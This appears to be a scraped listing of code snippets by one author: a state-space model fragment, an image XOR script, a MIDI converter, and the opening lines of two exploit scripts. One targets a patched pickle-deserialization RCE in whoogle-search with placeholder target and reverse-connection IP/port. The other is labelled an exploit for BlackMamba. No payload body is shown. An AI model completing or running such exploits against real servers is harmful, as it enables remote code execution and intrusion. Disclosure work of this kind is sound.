fern89

import torch.optim as optim
import torch.nn as nn
from torchvision import datasets, transforms
import torch, math
import torch.nn.functional as F

def selective_scan(u, dt, A, B, C, D):
    dA = torch.einsum('bld,dn->bldn', dt, A)
    dB_u = torch.einsum('bld,bld,bln->bldn', dt, u, B)
    dA = dA.clamp(min=-20)

fern89

import numpy as np
from PIL import Image
import sys

def shift_and_xor(image_path, output_path, threshold):
    img = Image.open(image_path)
    img_array = np.array(img)
    shifted = np.zeros_like(img_array)
    shifted[1:, 1:] = img_array[:-1, :-1]
    result = img_array ^ shifted

fern89

import mido, time

mid = mido.MidiFile('thick.mid')
def note2freq(note):
    if note == 0:
        return 0
    a = 440
    fq = (a / 32) * (2 ** ((note - 9) / 12))
    return round(1000000 / (2 * fq))

fern89

# https://github.com/benbusby/whoogle-search RCE EXPLOIT
# https://github.com/benbusby/whoogle-search/blob/main/app/models/config.py#L265 - insecure pickle deserialize
# PATCHED IN https://github.com/benbusby/whoogle-search/commit/223f00c3c0533423114f99b30c561278bc0b42ba
# Copyright fern89, 2024
# https://fern89.github.io/posts/whoogle-rce/

import pickle, os, base64, brotli, urllib.parse, requests

targ = "http://[SERVER]/"
ipport = '("[IP]",[PORT])'

fern89

# https://github.com/loseys/BlackMamba EXPLOIT
# Copyright fern89, 2024

import socket
import base64
from cryptography.fernet import Fernet


ip = '[IP of remote server]'
port = [PORT of remote server]